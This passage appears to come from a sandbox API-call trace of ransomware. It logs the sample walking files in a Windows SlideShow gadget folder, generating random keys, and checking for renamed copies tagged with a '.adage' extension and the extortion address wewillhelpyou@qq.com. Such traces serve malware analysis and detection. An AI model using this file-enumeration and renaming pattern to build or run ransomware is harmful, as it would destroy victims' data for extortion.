Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\slideShow.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\slideshow.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.691] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\icon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.691] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=10034) returned 1 [0066.691] CloseHandle (hObject=0x184) returned 1 [0066.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\icon.png")) returned 0x20 [0066.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\icon.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\icon.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.691] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\blank.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\blank.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.694] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3462) returned 1 [0066.694] CloseHandle (hObject=0x184) returned 1 [0066.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\blank.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\blank.png")) returned 0x20 [0066.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\blank.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\blank.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\blank.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\blank.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.694] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\bg_sidebar.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar\\bg_sidebar.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.695] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3574) returned 1 [0066.695] CloseHandle (hObject=0x184) returned 1 [0066.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\bg_sidebar.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar\\bg_sidebar.png")) returned 0x20 [0066.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\bg_sidebar.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar\\bg_sidebar.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\bg_sidebar.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar\\bg_sidebar.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.696] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\slideshow_glass_frame.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar\\slideshow_glass_frame.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.697] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3511) returned 1 [0066.697] CloseHandle (hObject=0x184) returned 1 [0066.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\slideshow_glass_frame.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar\\slideshow_glass_frame.png")) returned 0x20 [0066.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\slideshow_glass_frame.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar\\slideshow_glass_frame.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\slideshow_glass_frame.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar\\slideshow_glass_frame.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.697] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_down.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.697] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3063) returned 1 [0066.698] CloseHandle (hObject=0x184) returned 1 [0066.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_down.png")) returned 0x20 [0066.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_down.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_down.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.698] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_hov.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.699] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3065) returned 1 [0066.699] CloseHandle (hObject=0x184) returned 1 [0066.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_hov.png")) returned 0x20 [0066.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_hov.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_hov.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_hov.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.699] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_rest.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.699] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2903) returned 1 [0066.699] CloseHandle (hObject=0x184) returned 1 [0066.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_rest.png")) returned 0x20 [0066.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_rest.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_rest.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_rest.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.700] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\slideshow_glass_frame.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\on_desktop\\slideshow_glass_frame.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.700] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5513) returned 1 [0066.700] CloseHandle (hObject=0x184) returned 1 [0066.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\slideshow_glass_frame.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\on_desktop\\slideshow_glass_frame.png")) returned 0x20 [0066.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\slideshow_glass_frame.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\on_desktop\\slideshow_glass_frame.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\slideshow_glass_frame.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\on_desktop\\slideshow_glass_frame.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.701] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\pause_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\pause_down.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.702] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3018) returned 1 [0066.702] CloseHandle (hObject=0x184) returned 1 [0066.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\pause_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\pause_down.png")) returned 0x20 [0066.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\pause_down.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\pause_down.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\pause_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\pause_down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.702] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\pause_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\pause_hov.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.702] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3027) returned 1 [0066.702] CloseHandle (hObject=0x184) returned 1 [0066.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\pause_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\pause_hov.png")) returned 0x20 [0066.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\pause_hov.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\pause_hov.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\pause_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\pause_hov.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.704] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\pause_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\pause_rest.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.705] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2833) returned 1 [0066.705] CloseHandle (hObject=0x184) returned 1 [0066.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\pause_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\pause_rest.png")) returned 0x20 [0066.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\pause_rest.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\pause_rest.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\pause_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\pause_rest.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.705] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_down.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.706] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3058) returned 1 [0066.706] CloseHandle (hObject=0x184) returned 1 [0066.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_down.png")) returned 0x20 [0066.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_down.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_down.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.706] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_hov.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.707] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3062) returned 1 [0066.707] CloseHandle (hObject=0x184) returned 1 [0066.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_hov.png")) returned 0x20 [0066.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_hov.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_hov.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_hov.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.708] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_rest.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.708] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2886) returned 1 [0066.708] CloseHandle (hObject=0x184) returned 1 [0066.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_rest.png")) returned 0x20 [0066.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_rest.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_rest.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_rest.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.708] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_down.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0067.242] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3062) returned 1 [0067.242] CloseHandle (hObject=0x180) returned 1 [0067.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_down.png")) returned 0x20 [0067.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_down.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_down.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.242] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_rest.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0067.664] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2904) returned 1 [0067.664] CloseHandle (hObject=0x1a4) returned 1 [0067.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_rest.png")) returned 0x20 [0067.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows 